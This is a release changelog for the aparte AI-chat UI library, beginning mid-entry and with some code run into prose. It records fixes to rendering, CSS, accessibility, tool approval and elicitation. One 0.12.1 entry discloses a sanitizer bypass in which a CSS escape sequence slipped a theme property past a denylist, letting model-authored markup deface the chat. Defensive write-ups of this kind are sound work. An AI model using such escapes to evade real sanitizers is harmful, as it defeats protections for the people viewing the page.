pnpm version-packagesmoves it with every bump — the floor went stale because the bump was the one place nothing updated it. every package -
8fe68de: A streaming assistant message now renders incrementally on the plain-content path too, not only inside segments.
setStreamingMarkdownProvider’s own documentation says the chat bubble uses it “to render the assistant message token-by-token (incremental parse + DOM append, O(n)), instead of re-parsing the whole string on every token”, and@aparte/plugin-streaming-markdown’s page repeats it. Only the segment renderers honoured it.<aparte-chat-bubble>’s simple-content path — the onegetting-startedteaches first, throughappendMessage/appendToken/completeMessage— re-parsed, re-sanitised and re-inserted the WHOLE message on every token.It uses
writeStreamedMarkdownnow, the same seam the text and thinking renderers use, so the promise holds on both paths. With no streaming provider registered nothing changes: the seam falls through to the one-shot render, which is exactly what ran before.The parser’s cursor is dropped whenever content is REPLACED rather than appended (
setContent, or thecontentattribute changing) — a retry clears the bubble and re-streams, and a stale cursor would slice the next delta out of the wrong string.Found by a cold audit. Four tests pin it, and reverting the fix fails three of them.
@aparte/core -
9122983: Every live preview frame shows what it promises.
An audit photographed all 29
/preview/*routes and looked at them. Nine defects, in two layers.The frame’s own stylesheet (one word, every frame).
PreviewDocument.astro’s<style>was notis:global, so Astro scoped it — and the markup it styles is injected with<Fragment set:html>, which carries no scope class. Sobody > * + *compiled tobody > :where(.astro-xxxx) + :where(.astro-xxxx)and matched nothing: the 1rem stacking margin had never applied, in any preview, since the file was written. That is the badge, the progress track and the alert flush against each other, and three unrelated surfaces touching in the overview.The examples (eight, one root cause). A literal
…used as documentary shorthand for “your content here”. It reads perfectly in a code block and draws nothing in an iframe:/preview/class/icon/was a blank page, the thumbnail preview an empty box beside a box holding three dots,.aparte-btn--iconan invisible ghost square containing an ellipsis. Two more went with it — a<details>with noopen, so the accordion preview showed the single word “Shipping” and no affordance at all; and a<switch>with no label pressed against its neighbour’s text.Every replacement glyph is core’s own, verbatim from
src/icons/glyphs.ts(andalertTriangleIconfromextended.tsfor the warning alert). Drawing them by hand would have made a fourthcopyand a thirdcheck— the drift that file exists to end.The invariant that produced all of this stays, because it is right: the frame and the code block read the same string, so a demo can never drift from the example above it. What changes is that the examples are written for both readers.
Not covered, and worth knowing: only the
/preview/*routes were photographed, in the light theme, at one width, with nothing clicked.@aparte/core -
bde11bb: A custom segment’s
fallbackis drawn when no renderer claims its type.AparteCustomSegment.fallbackhas been published since the type existed, documented as “Optional fallback text representation”, and read by nothing — the only two mentions in core were its declaration and its doc comment. A custom segment arriving somewhere its renderer is not registered (a conversation replayed in another app, a client that loads its views lazily, an exported transcript) rendered[Unknown segment type: custom]while carrying the sentence written for exactly that moment.It renders the fallback now, in a
.aparte-segment.aparte-segment-fallback, astextContent— the field is filled by whoever produced the segment, which can be a model, so it is text and cannot carry markup. Without a fallback nothing changes: the same.aparte-segment-unknownwith the same[Unknown segment type: …].The developer warning is skipped when a fallback is present. An author who supplied one has already said this can happen; warning then is crying wolf. Without one it still fires, because a missing renderer is otherwise silent.
Found while writing the segment’s own
@example— the documentation asked what the field does and the answer was nothing. The two identical unknown-segment blocks in the bubble are now one function.@aparte/core -
b9e1b1b: Every segment interface now carries an
@example: the literal a developer would write.The eight interfaces in
types/segments.tsdocumented their fields — some to several paragraphs — and never once showed a whole segment. The field table answers “what iscollapsed”; it does not answer “what does one of these look like”, which is the question anyone emitting a segment actually has.Each example is a valid segment of that type, so the documentation site can print it as code AND render it: the segment pages now show core’s own renderer drawing that exact literal inside a real viewport. An example that stops being a valid segment becomes a visibly broken preview rather than prose no one re-reads.
The
thinkingexample deliberately omitscollapsed, because absent means CLOSED and the example should show what a reader gets rather than the flattering case.@aparte/core -
8678eaf: Fixed: the default skeletons were painted with a palette core no longer uses, and a consumer could not override them.
APARTE_DEFAULT_SKELETON_FALLBACKScarried its look in astyle=""attribute — six inline declarations of Tailwind-slate hex (#9ca3af,#1e293b,#64748b), the exact palette this theme replaced. An inline style is the one thing a consumer’s stylesheet cannot reach, so a dark-theme host got a light-grey label with no way to change it, and hex inside a.tsis invisible tocheck:derived-vars, which reads onlystyles/. The look now lives instyles/display/skeleton.csson the tokens every other recipe reads.They also had a second owner.
AparteConfig._defaultSkeletonRendererheld a hand-written copy of the same table and the two had already drifted —messagesaid “Loading message…” in one and “Loading…” in the other. There is one table now, and the test that used to explain why it could only compare content asserts identity instead.New classes:
aparte-skeleton-fallback, with--code,--snugand--tight.@aparte/core -
3e2afee: The readers of core’s CSS derive the sheet list from
src/index.tsinstead of keeping a copy of it.That import block IS the cascade, and two readers kept a hand-written duplicate of it. Both had already drifted: the derived-variable guard listed the two primitive sheets but would not have seen a newly added one, and the docs’ CSS-variable generator had neither — so 269 lines of declarations were absent from the published reference with nothing to say so. A list that has to be kept equal to an import block is a list that will not be.
scripts/core-stylesheets.mjsreads the block, in order, behind a floor.@aparte/core -
7f89fc8:
aparte.cssis gone. Its 2573 lines of rules are ten sheets, one per family —base,shell,bubble,composer,segment,artifact,elicitation,conversation,prose,responsive— beside thetheme.cssthat already held the tokens. The largest is now 584 lines instead of 3160, and you open the one named after what you are changing.The published
dist/index.cssbundles all eleven, so nothing changes for a consumer.The import order in
src/index.tsis the cascade, which is the one thing to know before adding a sheet:responsivestays last because it overrides. Everything that reads the sheets reads them in that same order.What was verified, and how
The families were interleaved — the composer alone sat in seven separate runs — so unlike the token extraction this could not be proved by concatenation: rules genuinely changed order relative to other families. A static proof turned out to have no clean answer (a loose collision test flags 3630 pairs, a tight one 106, and reading those 106 shows every one impossible). So it was proved where it actually matters:
- the full browser suite, 364 tests across six frameworks and three engines, passes;
- the rule content is identical — 2296 significant lines, none lost, none duplicated;
check:derived-varsreports the same 135 derived declarations, 6 exemptions and 982 references as before the split;gen-css-varsreports the same 321 variables, 286 of them declared.
Three readers went blind at once
check:derived-vars,gen-css-varsand the test helperread-stylesheet.tseach located their corpus by a single path. The generator reported 6 declared tokens instead of 286; three unit suites went red. All three read the whole set now, in import order, and each carries a floor so a corpus that shrinks fails loudly instead of quietly publishing short.One more check earned its place: every sheet is asserted to have balanced comment markers and braces. The split cut a multi-line comment in half — its opening left in
segment.css, its closing landing inprose.css— and that check is what finds it.@aparte/core -
7471fb0: An error on a reply that left the active path no longer destroys what it streamed.
_handleLifecycleErrorfollows an “append the error, never replace the reply” rule — and implemented it withgetMessages(), which returns only the currently ACTIVE path. So the rule held for the reply being streamed and silently became a full replace for any message that had left that path.A retry or an edit on an earlier bubble does exactly that to a reply still in flight: it stays in the tree, drops off the active path, the lookup then finds nothing, and
updateMessage— which resolves ids tree-wide — overwrites every token, thinking block and resolved tool call with a single error segment. Nothing is visible at the time; the loss shows up later, when the reader opens that branch in the sibling picker and finds a bare error where a complete answer used to be.It now prefers the tree-wide
getMessage(id), which the viewport already exposed and the client’s target interface simply did not declare.The same commit closes the asymmetry that made the race reachable:
aparte-retryandaparte-editreset the abort flag but, unlikeaparte-send, never cancelled the previous turn’s tool controllers — so a handler from the superseded turn kept running with its timeout counting. All three now share one_beginUserTurn().Found by a cold audit. It survived adversarial review with one correction worth recording: the two shipped providers swallow
AbortErrorand close quietly, so the loss is not reachable through them — it is deterministic onAparteBackendTransport, whose parser turns a cut connection into a thrown error.@aparte/core -
b12e089: Tabs gets its own entry, the class lists stop claiming classes they do not define, and a menu is menu-width.
Tabs had no text and no preview.
surface/tabs.csscarries the banner that opens the whole Surfaces group (aparté — layered surfaces), and the generator consumes that as the group’s intro. A family takes its prose and its live example from a banner named after it (aparte-tabs — …) — and there was none, so the Tabs family reached the reference page as a bare list of class names while its own content was shown as the Surfaces overview. It now carries both banners, and the family one demonstrates the two looks (--underline,--segmented) with the panel under them. 19 → 20 live examples.The class lists were not the sheets’ own. The collector matched
.aparte-*across the whole source, comments included, so a class merely NAMED in prose was attributed to the sheet that mentioned it: Tabs listed.aparte-popover,.aparte-tooltipand.aparte-btn--ghost, none of which it defines. Block comments are now stripped first — 327 → 325, and the two that went were phantoms..aparte-menuhad a floor and no ceiling, while.aparte-popover— which the same file calls “the identical floating list surface” — has carriedmax-width: 320pxall along. With only amin-width, a menu placed as a block child stretched to its container: a dropdown spanning the full width of whatever held it. It now has the matching cap andwidth: max-content, so it hugs its longest item and stops.Also: preview frames get real padding (1rem → 2rem 2.25rem) — every example was pressed into the top-left corner, which made a two-tile row read as debris rather than a specimen. Left-aligned still, because an example has to lay out the way it will on the reader’s page. And the tooltip example’s anchor gets room above it, so the tooltip is no longer clipped by the top of its frame.
@aparte/core -
a8ce9de: Fixed: two
role="tablist"that announced a pattern and shipped none of it.The artifact card’s Code/Preview tabs and the stepped elicitation panel’s step chips both carried
role="tablist"withrole="tab"children and noaria-controls, norole="tabpanel", no ids to point at and no arrow keys — two sets of ordinary buttons wearing a role that tells a screen-reader user to expect a relationship and a keyboard model that were not there. A role that lies is worse than no role: as plain buttons they at least behaved as announced.Both now do what they say. Each tab points at its panel and the panel names the tab back; the tablist is ONE tab stop with ArrowLeft/ArrowRight/Home/End inside it, and the artifact card skips the Preview tab while it is disabled mid-stream rather than trapping focus on it. Ids are scoped — to the segment id on the card, to a per-panel counter in the elicitation panel — because a transcript holds many cards and a workbench holds two chats.
@aparte/core -
e8506a5: The tokens move to their own sheet:
styles/theme.cssholds the light palette, the dark overrides and the derived layer;styles/aparte.csskeeps the rules. You open one to change a value and the other to change a look.The cut is a contiguous prefix of the old file and the new sheet is imported immediately before it, so the cascade cannot have moved — verified by concatenating the two and comparing to the original byte for byte. The published
dist/index.cssbundles both, so nothing changes for a consumer.Two readers had to follow, and one of them was already broken by the move:
check:derived-varsnow reads every sheet concatenated in import order, the way a browser does. It had to: the anchored layer is intheme.csswhile its responsive overrides sit at the end ofaparte.css, so a guard reading one file would judge half a rule. Its messages name the sheet and line they actually found.gen-css-varspointed ataparte.cssby path and went blind — it reported 6 declared tokens instead of 286 and would have published a page missing 24 variables. It reads both sheets now, and carries a floor that fails the build if the corpus ever collapses again rather than quietly publishing short. That is the failure mode this repo has already met once, on a guard that selected its corpus by file extension.@aparte/core
-
bc86198: The reasoning block wears the accordion recipe instead of redrawing it.
A thinking segment is a disclosure —
<details>, a<summary>you press, a panel, a chevron that turns — which is exactly whatsurface/accordion.cssdraws. The renderer drew a second one under four private classes, and it showed: the block looked unrelated to every other disclosure in the library.Worse, its chevron was the character
▼. Not a glyph — a character, so it could not take--aparte-icon-size, could not be replaced through the icon provider, and rendered in whatever the platform font supplied. Core has hadexpandIconinsrc/icons/glyphs.tsthe whole time, and the accordion uses it. It is now the same glyph.thinking.cssloses 33 lines of duplicated flex/reset/rotation and keeps four: the left rail’s padding and the quieter tone, which is the only part that is about reasoning rather than about disclosure. The rendered element gains.aparte-accordion__item/__header/__panelalongside its own classes, so a consumer restyling either name still reaches it.Found by Paul asking why the thinking block did not look like the accordion. A sweep for the same defect elsewhere turned up one candidate —
menu.css’scontent: '✓'— and it is kept: it reserves an alignment gutter on every checkable item and inheritscolor, which forced-colors mode preserves.▼had neither reason and duplicated an existing glyph; the two are not the same case.@aparte/core -
a453df1:
AparteTool.systemPromptis now actually sent to the model.The field is documented on the type as “System prompt injected automatically when this tool is registered — tells the AI when and why to use it”, and the tools guide repeats it. Nothing anywhere read it: a grep across core, engine and every provider finds only the conversation-level
_systemPromptTemplate, which is a different field.The failure was silent in the worst way. The tool still worked — the model receives its name and JSON schema either way — so all that went missing was the sentence explaining WHEN to reach for it, which is the whole reason the field exists.
@aparte/plugin-ask-usersets one, so a shipped plugin was losing its instructions and no test could see it.AparteConfig.resolveToolSystemPrompts()joins the prompts of every registered tool, in registration order, and the client sends them as a system message of their own — after the app’s template, which stays separate because one is about the app and the other about the tools. A tool that sets none contributes nothing, and with no tool setting one there is no extra message at all.The three turn entry points (send, retry, edit) were each writing the same two lines of system-message assembly, so they now share one
_systemMessages()helper — the shape that would otherwise have got the tool half in two of the three.Found by a documentation audit. Four tests pin it; reverting the wiring fails three.
@aparte/core -
95fadcc: Two artifact-card buttons and one transition were missed by the sweeps that tokenised the rest.
.aparte-art-card__btn:disabledand.aparte-art-card__tabs button:disabledwere still at a literal0.4rather than--aparte-disabled-opacity, so they stayed the two odd ones out of the unification. They were written as one-line rules ({ opacity: 0.4; cursor: not-allowed; }), and the sweep’s pattern anchoredopacityto the start of a line — so it never saw a declaration sitting right after the brace.transition: transform 0.2swas missed the same way and now reads--aparte-duration-slow.They move from 0.4 to 0.5, in line with every other disabled control.
@aparte/core -
114431c:
runStreamAgent’s documentation reaches its documentation.The docblock describing the package’s headline export sat six lines and another comment above the function, separated from it by the
warnUnknownStreamEventhelper. A docblock that is not adjacent to its declaration is attached to nothing, so TypeDoc read the helper’s comment as the neighbouring one and the generated@aparte/enginereference carriedrunStreamAgent()with no description at all — the export its own page description names first.The helper moves above the block. No behaviour changes; the same trap the custom-elements analyser has when a class docblock is pushed above an import.
@aparte/engine -
4b598f7: The question receipt’s stylesheet reads core’s tokens instead of its own magic numbers: spacing on
--aparte-space-*, its hairline on--aparte-border-width, and its appear animation on--aparte-duration-slow.A plugin’s CSS lives in a template literal because it cannot edit core’s stylesheet — but that is a reason to reference the theme’s tokens, not to restate their values. The receipt now follows a consumer who moves
--aparte-space-unit, and stops atprefers-reduced-motionbecause the duration it reads is overridden there. No API change.@aparte/plugin-ask-user -
8759de6: The receipt’s last two raw values read the scale:
font-weight: 600becomes--aparte-font-weight-semiboldandfont-size: 0.8rembecomes--aparte-font-size-md(13px against 12.8px, so it moves 0.2px and now sits on a step). The previous pass tokenised the receipt’s spacing and duration but not its type — the weight was still written out, which is how a plugin quietly stops following a consumer who restyles the chat.@aparte/plugin-ask-user -
0632dd9:
ask-user’s question receipt is an.aparte-tag. It is a pill holding a truncating label, which is what that recipe is, and it used to redeclare the whole thing. Its own CSS drops from 33 declarations to 22; the card’s rule goes from 11 to 6, four of them now setting the tag’s tokens rather than restating its properties. Nothing moves on screen.This is also the first place in the repo where a plugin reaches core’s recipes, which is the point: they are plain classes on a stylesheet core already ships, so a plugin needs no import, no client and no build step to use them.
model-selectorno longer putsaparte-model-selector-selecton its<aparte-select>. It carried no CSS and was queried by nothing. The element is addressable asaparte-model-selector aparte-select, which is what a consumer restyling it writes.@aparte/plugin-ask-user,@aparte/plugin-model-selector -
05f3d8b:
<AparteUi>’s imperative handle honoursAparteUiHandleon Vue and Svelte.Both packages export that interface with a docblock promising “the same
getElement/callMethodcontract on all four wrappers”, and both implementations were non-generic: Vue’sdefineExposetook a bare object literal, Svelte’s exported plain functions. SogetElement<HTMLInputElement>()typed asHTMLElement | nullthere and correctly on React and Angular — a consumer following the documentedref/bind:thispattern got a type error on two of four wrappers and none on the other two.Found by a cold audit that compiled it rather than read it:
svelte2tsx+tscon the real component producedTS2322on the exact pattern the framework pages teach.Type-only — no runtime behaviour changes. Vue’s emitted declaration now carries
getElement<T extends HTMLElement = HTMLElement>(): T | null, matching the interface.@aparte/svelte,@aparte/vue
0.12.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
681bb47: The branch picker no longer collapses to “1 / 1” and lose a retry fork. In framework-managed mode —
@aparte/react,@aparte/vue,@aparte/svelte,@aparte/angular— pressing ‹ after a retry could land the sibling label on “1 / 1” instead of “1 / 2”. The picker then hid itself and the other version became unreachable for the life of the page: the fork was gone.The cause was not where it was first suspected.
syncRepoFromMessageswas the obvious candidate, because it syncs from the framework’s array which holds the active path only — but it never deletes, it only appends and updates, so it cannot lose a tree.It was
_applyPendingSiblings. It read each sibling’s bubble,continued past the ones not on the page yet, and then cleared_pendingSiblingsunconditionally — so a callback running one tick early discarded the branch counts with nothing left to retry. The bubble arrived a moment later showing its default of one sibling.Which needed a framework that renders late, and they all do. React implements
afterRenderasrequestAnimationFrame(() => cb()): a bet that the next paint lands after React’s commit. It does not always, and this repo has lost that same bet before (25f356b, “the stream-sync flake had a cause — a bet on rAF phase”).The fix reschedules instead of dropping, bounded at six render passes — the race needs one, and a message that has left the active path has no bubble and never will, so an unbounded retry would hold a callback forever. It lives in the host rather than in React’s rAF call, because any binding whose
afterRendercan precede its commit hits this, and one fix there covers all four wrappers.Two things this was hiding behind:
The e2e test named “retry forks a branch and the ‹1/2› picker navigates between versions” asserted
toContainText('1')— which"1 / 1"satisfies exactly as well as"1 / 2". It never distinguished “back to version 1 of 2” from “lost a branch”, and the defect sat under a green suite through four cold audits. The strict assertion now runs on every mode, not just native.And the host’s unit-test harness renders bubbles synchronously inside
setMessages, withafterRender: (cb) => cb()— modelling a framework that commits during the setter, which none of the four do.pending-siblings-race.test.tsmodels the real ordering and reproduces the defect without a browser.@aparte/core -
cd323aa: The sanitizer’s
--aparte-*refusal can no longer be walked past with a CSS escape.Core’s whole theme is custom properties, so the sanitizer keeps a model-authored
--shiki-lightand refuses--aparte-primary: setting ours would repaint the chat around whatever element a markdown or highlight provider produced. That is defacement with the library’s own paint, not highlighting.The refusal was spelled
!prop.startsWith('--aparte-')and tested the name as written, so--\61 parte-textdid not match and survived, and the browser decodes that ident back to--aparte-text.The asymmetry is worth naming, because it is why one of the two checks in
scrubStylewas fine and the other was not.SAFE_STYLE_PROPS.has(prop)is an allowlist, and an escape defeats itself against one:col\6fris not in the set, so the declaration dies. The custom-property test is a denylist — anything except ours — and an escape defeats a denylist the other way round, by making the name not match the thing being refused.Refused rather than decoded, which is the rule this file already applies to declaration VALUES for a stated reason: decoding is the general fix and is easy to get wrong — stripping the escape from
u\72 l(yieldsul(, noturl(, which is how an earlier attempt at it passed its own test. No custom property worth setting from model-authored content needs a CSS escape.The fix does not rest on how any particular engine decodes anything: the invariant is that the namespace is unreachable, and it now holds because no backslash survives in a property name rather than because of a prediction about what one would become.
Impact was bounded — custom properties inherit downward only, and
url()/expression()/javascript:and every layout property were already refused, so this was defacement of the injected element’s own subtree with no script, no beacon and no clickjack. Found by the 0.11.0 cold audit and reported as PLAUSIBLE rather than confirmed, since it rests on a spec reading no browser run was available to check; the fix is testable at our own layer, which is what made it actionable.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.12.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
2ac6080: Four critical defects from the 0.11.0 cold audit. Each one is a place where two things had to agree and nothing checked that they did.
A refusal’s words now reach the model on the engine path too.
runStreamAgenthardcoded “Tool execution was rejected by the user.” and never readdecision.instruction— which its own resolver type declares and core’s inline loop uses. So on the recommended path (ratified decision #6), a user who refused a tool and typed “use the staging bucket instead” had those words dropped before the model saw them. Handing the model a turn after a refusal exists so that it reads the refusal; there was nothing to read.The parity suite could not see it: its resolver returned
{ approved }and never an instruction, so both loops agreed on a case neither ran. It supplies one now, and asserts the sentence survives rather than only that the two sides match — agreement alone passes if both drop it.Two chats on one page no longer fight over the presenter.
<aparte-elicitation>entered<aparte-chat>’s default composition in 0.11.0, so two plain chats each registered on the same config — which held ONE slot. The second clobbered the first (chat A’s approval opened under chat B, and answering it there decided A’s tool call), and when B unmounted it cleared the slot, leaving A mounted with a working presenter that never re-registered: every later approval and everyask_userin A rejectedno-presenterfor the life of the page, silently, because that warning fires once per config.It is a stack now, each entry carrying the element that registered it, and a request naming a
targetis routed to the presenter in the same chat.AparteElicitationRequest.targetwas already documented as “used to resolve WHICH instance presents”; the single slot is what made that impossible.New:
AparteConfig.removeElicitationPresenter(fn)withdraws one presenter by name.setElicitationPresenter(presenter, owner?)takes an optional owner element.setElicitationPresenter(null)still means “turn it off” and clears all.hidePanel()no longer orphans an open request. The no-token form called the silent teardown, which nullsonEvictwithout calling it — so the documented public call closed an approval panel without telling its owner. The promise stayed pending, the approvalawaithas no timeout, and becauserequestUserInputchains each request on the previous one, no further question or approval on that config was ever presented again. The old JSDoc justified the silent branch as “whatreset()needs”;reset()calls_evictPanel(), which notifies. Both forms notify now, except a token-matched close — that is the owner closing its own panel, and it already knows.Breaking, pre-1.0:
[multiple]="false"used to turn multi-file selection ON. The bindings generator modelled every boolean attribute as a presence attribute, and core has two that are three-state — default on, off only via the literal"false":multipleon<aparte-composer-add-attachment>andsubmit-on-enteron<aparte-composer>. For those,falseREMOVED the attribute, which the element reads as true. The only value that turned it off was a string no binding could produce and no template type could express.truenow writes the empty presence value andfalsewrites"false", and the attribute type widens toboolean | 'false'so OFF is expressible in React, Vue and Svelte as well. If you passed''/undefinedto force one of these off, it never worked; passfalse(Angular) or'false'(templates).Two attributes join the typed surface, having been read lazily via
getAttributeand so invisible to the manifest:submit-on-enteron<aparte-composer>andaction-idon<aparte-composer-action>— the latter being the only way to tell two custom composer buttons apart.And
aparte-action-clicknow declares its detail type, so Angular’s(actionClick)emitsAparteActionClickEventDetailinstead ofvoidwith$eventdiscarded.@aparte/core,@aparte/engine,@aparte/angular -
2ac6080: Seven behavioural defects from the same audit.
A tool call keeps its state word through a config change.
relabelrebuilt the row’s badge as the icon alone, so anysetLocale,setIconProvider,registerToolorreset()deleted the localized word beside it — permanently, because a settled call gets no furtherupdate(). “Done” went bare and pending’s “Running” went empty; four of five statuses regressed. It now goes throughstateBadge, whose own docblock claims “one function sorenderandupdatecannot disagree” and whichrelabelhad never been folded into.Breaking, pre-1.0: the last bare CSS class is prefixed. The unknown-segment fallback emitted
class="segment aparte-segment-unknown"— the rename had prefixed the second token and left the first, so 0.11.0’s claim that every class core emits is prefixed was false..segmentis Semantic UI’s base layout class, which is one of the two reasons that rename happened. If you styled.segment, it is.aparte-segmentnow.Three CSS rules no longer reach out of core.
[data-status="resolved"] .aparte-tool-stateand its two siblings were the only rules in the stylesheet whose leftmost compound is an unprefixed non-element selector. A host wrapping the chat in<div data-status="rejected">re-tinted every completed tool call’s word red. Now scoped to.aparte-segment-tool-call.Stop in one chat no longer tears down another chat’s open question. The receive side already resolved its own chat host when no
targetattribute is set — which is all of raw core, since the documented markup sets none. The send side read the attribute only, so the abort carriedtargetId: undefined, and a missing id means “for everyone”.A number binding with no value no longer writes
"NaN". Angular’snumberAttributereturnsNaNfor undefined, null,''and any non-numeric expression, so[scrollThreshold]="cfg.threshold"on an unset field wrotescroll-threshold="NaN"— andparseInt('NaN' || '50', 10)is NaN because'NaN'is truthy, so the transcript stopped following a streaming reply and the scroll-to-bottom button never hid.applyElementPropsremoves the attribute instead, restoring the documented default.0still writes, because 0% is a value.A CSS variable with no value is removed rather than stringified.
props={{ '--aparte-select-bg': theme.selectBg }}on an optional field set the property to the tokenundefined— worse than leaving it alone, because a property that is set makes everyvar(--x, default)skip its fallback and become invalid at computed-value time, so the declaration is dropped and the control renders unstyled. An object became[object Object]the same way.@aparte/svelte: five events are bindable again. Theon:surface derives fromHTMLElementEventMap, which deliberately omits the events carrying no detail. Harmless while that only governedaddEventListener— but declaring the tags removedSvelteHTMLElements’ catch-all index signature, soon:aparte-cancel(the stop button),on:aparte-composer-submit,on:aparte-reset-done,on:aparte-select-openandon:aparte-select-closestopped type-checking. All five are Angular@Output()s, so the wrappers were not at parity.Closed by deriving from core’s proxy list as well, which already enumerates every event an element dispatches on itself.
APARTE_DEFAULT_UI_EVENTSbecomesas constso the literals exist at the type level, and core exports the new typeAparteUiEventName.@aparte/plugin-model-selector: the framework peer ranges are fixed.react: "^19.2.7"andsvelte: "^4.2.0"were copied from the package’s own devDependency pins, excluding React 18 and Svelte 5 — both supported by the matching wrappers. An out-of-range peer that is present is an ERESOLVE conflict whether or not it is optional, so installing this plugin in a Svelte 5 app failed. Now^18.0.0 || ^19.0.0and^4.0.0 || ^5.0.0, matching the wrappers.@aparte/core,@aparte/svelte
Patch Changes
-
2ac6080: Seven behavioural defects from the same audit.
A tool call keeps its state word through a config change.
relabelrebuilt the row’s badge as the icon alone, so anysetLocale,setIconProvider,registerToolorreset()deleted the localized word beside it — permanently, because a settled call gets no furtherupdate(). “Done” went bare and pending’s “Running” went empty; four of five statuses regressed. It now goes throughstateBadge, whose own docblock claims “one function sorenderandupdatecannot disagree” and whichrelabelhad never been folded into.Breaking, pre-1.0: the last bare CSS class is prefixed. The unknown-segment fallback emitted
class="segment aparte-segment-unknown"— the rename had prefixed the second token and left the first, so 0.11.0’s claim that every class core emits is prefixed was false..segmentis Semantic UI’s base layout class, which is one of the two reasons that rename happened. If you styled.segment, it is.aparte-segmentnow.Three CSS rules no longer reach out of core.
[data-status="resolved"] .aparte-tool-stateand its two siblings were the only rules in the stylesheet whose leftmost compound is an unprefixed non-element selector. A host wrapping the chat in<div data-status="rejected">re-tinted every completed tool call’s word red. Now scoped to.aparte-segment-tool-call.Stop in one chat no longer tears down another chat’s open question. The receive side already resolved its own chat host when no
targetattribute is set — which is all of raw core, since the documented markup sets none. The send side read the attribute only, so the abort carriedtargetId: undefined, and a missing id means “for everyone”.A number binding with no value no longer writes
"NaN". Angular’snumberAttributereturnsNaNfor undefined, null,''and any non-numeric expression, so[scrollThreshold]="cfg.threshold"on an unset field wrotescroll-threshold="NaN"— andparseInt('NaN' || '50', 10)is NaN because'NaN'is truthy, so the transcript stopped following a streaming reply and the scroll-to-bottom button never hid.applyElementPropsremoves the attribute instead, restoring the documented default.0still writes, because 0% is a value.A CSS variable with no value is removed rather than stringified.
props={{ '--aparte-select-bg': theme.selectBg }}on an optional field set the property to the tokenundefined— worse than leaving it alone, because a property that is set makes everyvar(--x, default)skip its fallback and become invalid at computed-value time, so the declaration is dropped and the control renders unstyled. An object became[object Object]the same way.@aparte/svelte: five events are bindable again. Theon:surface derives fromHTMLElementEventMap, which deliberately omits the events carrying no detail. Harmless while that only governedaddEventListener— but declaring the tags removedSvelteHTMLElements’ catch-all index signature, soon:aparte-cancel(the stop button),on:aparte-composer-submit,on:aparte-reset-done,on:aparte-select-openandon:aparte-select-closestopped type-checking. All five are Angular@Output()s, so the wrappers were not at parity.Closed by deriving from core’s proxy list as well, which already enumerates every event an element dispatches on itself.
APARTE_DEFAULT_UI_EVENTSbecomesas constso the literals exist at the type level, and core exports the new typeAparteUiEventName.@aparte/plugin-model-selector: the framework peer ranges are fixed.react: "^19.2.7"andsvelte: "^4.2.0"were copied from the package’s own devDependency pins, excluding React 18 and Svelte 5 — both supported by the matching wrappers. An out-of-range peer that is present is an ERESOLVE conflict whether or not it is optional, so installing this plugin in a Svelte 5 app failed. Now^18.0.0 || ^19.0.0and^4.0.0 || ^5.0.0, matching the wrappers.@aparte/plugin-model-selector
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/react, @aparte/vue, @aparte/locale-fr.
0.11.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
f52dbe9: Refusing a tool no longer ends the turn. The model gets a turn to answer in, so it reads the refusal.
Before: a refusal appended a “Tool execution was rejected by the user.” tool_result and stopped the run — so the one sentence written for the model was never sent to it. Telling the assistant what you actually wanted meant retyping it as a new message, which it then read out of order.
After: the turn’s remaining tool calls are still skipped (the model may have asked for several, and refusing one cannot license the others — that part was a real fix and it stands), and then another turn runs.
This needed one flag to become three states, because a refusal answers two questions differently: run the calls that follow this one? — no; take another turn? — yes. Core’s
_handleToolUseEventreturns'continue' | 'respond' | 'halt'; the engine’s loopbreaks without clearingcontinueLoop. Both changed together, and the parity suite stayed green through it — which is the suite doing its job: it asserts the two loops agree, never what they do. The scenario named “rejected stops the loop identically” had to be renamed by hand for exactly that reason.Two other outcomes are now visibly distinct from a refusal rather than sharing its exit: a per-tool turn limit, a missing handler, and an abort all
haltand tell the model nothing.If you depended on the old behaviour — a refusal ending the run — refuse from an
approvalResolverand stop the client yourself, or setmaxTurns: 1on the tool.@aparte/core,@aparte/engine -
e40cf78: Breaking, pre-1.0, no shim: a request for the human that ends without an answer now rejects instead of resolving
{ action: 'cancel' }.AparteElicitationResultloses itscancelarm and keepsaccept/decline. The failure arrives as the newAparteElicitationAbortError, whosenameis'AbortError'— so any handler already testingerr.name === 'AbortError'needs no change — and whosereasonis'aborted'(a stopped turn, a fired signal, a question taken away by another request) or'no-presenter'(nothing was mounted to ask it).Why the shape had to change: a value is easy to handle as though it were an answer, and that is exactly what happened one level up. The tool-approval gate read
cancelas a refusal, stamped the segmentrejected, and told the model “Tool execution was rejected by the user.” The user had pressed Stop. A rejection cannot be mistaken for a decision by a caller that forgot a branch, which is the propertycancelnever had.Evidence the shape is right:
askUserHandleralready performed this exact conversion by hand —{ action: 'cancel' }in,new DOMException(..., 'AbortError')out. That conversion is gone; the error now propagates from the primitive.Migrating. Replace a
case 'cancel':branch with acatch. Aswitchonactionthat had all three arms keeps compiling with two, and the third path becomes thecatch. One consequence worth knowing: a request you start and neverawaitwill surface an unhandled rejection when it ends without an answer, because that is what an ignored failed promise is — attach a.catch()if you genuinely do not care about the outcome.@aparte/core -
ecd9ad5: A tool call now shows what went in and what came out, and it is drawn as a row rather than a badge.
The pill named the tool and showed nothing else — not the arguments the model chose, not the result it got — while the segment carried both the whole time. Missing presentation, not missing data. It opens onto
Input(pretty-printed JSON) andOutput, coloured by a registered highlight provider when there is one and readable as escaped text when there is not.Collapsed, always — including while the loop waits for a decision. The reasoning block stays closed while it is being produced, which is the most live moment there is, so a tool call has no stronger claim to unroll itself. One rule, no special cases. A
<details>appears only when there is something behind it: a disclosure onto nothing is an affordance that lies.Breaking, pre-1.0: four CSS classes are renamed, because a name in a public CSS contract must name a ROLE and not a shape — the shape belongs to whoever is styling it.
